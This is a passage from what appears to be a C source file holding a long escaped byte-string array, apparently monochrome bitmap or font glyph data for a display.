\"\\377\\377\\377\\377\\377\\377\\377\\377\\376\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0x\\374\\376\\377\\377\\377\\377\\377\\377\\377\\376\\376\\374\\374\\374\\374\\374\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\374\\374\\374\\374\\374\\376\\376\\377\\377\\377\\377\\377\\377\\377\\376\\374x\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\37\"\n  \"\\37\\17\\17\\17\\17\\17\\17\\37\\37\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\7\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\360\\370\\370\\370\\374\\374\\376\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\37\\3\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\37\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\374\\374\"\n  \"\\370\\370\\370\\360\\17\\37\\37\\77\\77\\77\\177\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\370\\300\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\370\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\177\\77\\77\"\n  \"\\77\\37\\37\\17\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\370\"\n  \"\\370\\360\\360\\360\\360\\360\\360\\370\\370\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\340\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\36\\77\\177\\377\\377\\377\\377\\377\\377\\377\\177\\177\\177\\77\\77\\77\\77\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\77\\77\\77\\77\\177\\177\\177\\377\\377\\377\\377\\377\\377\\377\\177\\77\\36\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\37\\177\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\177\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\376\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\177\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\376\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\177\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\376\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\340\\374\\377\\377\\377\\377\\377\\377\\377\\377\\177\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\"\n  \"\\370\\377\\377\\377\\377\\377\\377\\377\\177\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\37\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\77\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\177\\177\\77\\37\\17\"\n  \"\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\360\\370\"\n  \"\\370\\374\\376\\377\\377\\376\\374\\370\\370\\360\\340\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\340\\360\\360\\370\\374\\376\\376\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\374\\370\\360\\360\\340\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300\\340\\340\\360\\370\\374\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\374\\370\\360\\340\"\n  \"\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\"\n  \"\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\"\n  \"\\360\\370\\374\\376\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\177\\77\\37\\17\"\n  \"\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\"\n  \"\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\374\\374\\340\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\370\\377\\377\\377\\377\\377\"\n  \"\\377\\370\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\374\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\374\\340\\0\\0\\0\\0\\0\\0\\0\\200\\340\\374\\377\\374\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\360\\376\\377\\377\\377\\377\\377\\377\\17\\17\\177\"\n  \"\\377\\377\\377\\377\\377\\377\\370\\300\\0\\200\\360\\374\\377\\377\\377\\377\\377\\377\\377\\377\\376\\370\\340\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\300\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\77\\7\\0\\0\\0\\0\"\n  \"\\3\\77\\377\\377\\377\\377\\377\\377\\376\\377\\377\\377\\377\\377\\377\\77\\17\\37\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\"\n  \"\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\177\\377\\377\\377\\377\\377\\377\\377\\17\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\1\\17\\177\\377\\377\\377\\377\\377\\377\\377\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\77\\377\\377\\77\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\3\\77\\377\\177\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\376\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\374\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\374\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\376\\370\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\374\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\370\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\374\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\370\\300\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\360\\374\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\374\\340\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\300\\340\\360\\360\\370\\374\\374\\376\\376\\376\\376\\377\\177\\77\\37\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\374\\376\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\"\n  \"\\360\\370\\374\\376\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\177\\77\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\177\\177\\177\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\177\\177\\77\\77\\37\\17\\17\\7\\3\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\340\\370\\374\\376\\77\\37\\17\\17\\17\\17\\37\\77\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\7\\37\\77\\177|\\370\\360\\360\\360\\360\\370|\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\376\\374\\370\"\n  \"\\370\\360\\340\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\17\\37\\77\\77\\177\\377\\377\\377\\376\\374\\374\\370\\360\\340\\340\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30<~\\377\\377\\377\\377\\376\\374\\370\\360\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\201\\303\\303\\347\\377\\377\\377\\377\\377\\377\\377\\377~<<\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\360\\370\\374\\374\\376\\377\\177\\177\\77\\37\\37\\17\\7\\7\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\17\\37\\77\\77\\177\\377\\377\\376\\376\\374\\370\\370\\360\\340\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30<~\\377\\377\\377\\377\\177\\77\\37\\17\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\201\\303\\303\\347\\377\\377\\377\\377\\377\\377\\377\\377~<<\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\360\\370\\374\\374\\376\\377\\377\\377\\177\\77\\77\\37\\17\\7\\7\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\177\\77\\37\"\n  \"\\37\\17\\7\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\340\\340\\360\\370\\370\\370\\374\\374\\376\\376\\376\\376\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\376\\376\\374\\374\\370\\370\\360\\360\\340\\340\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\"\n  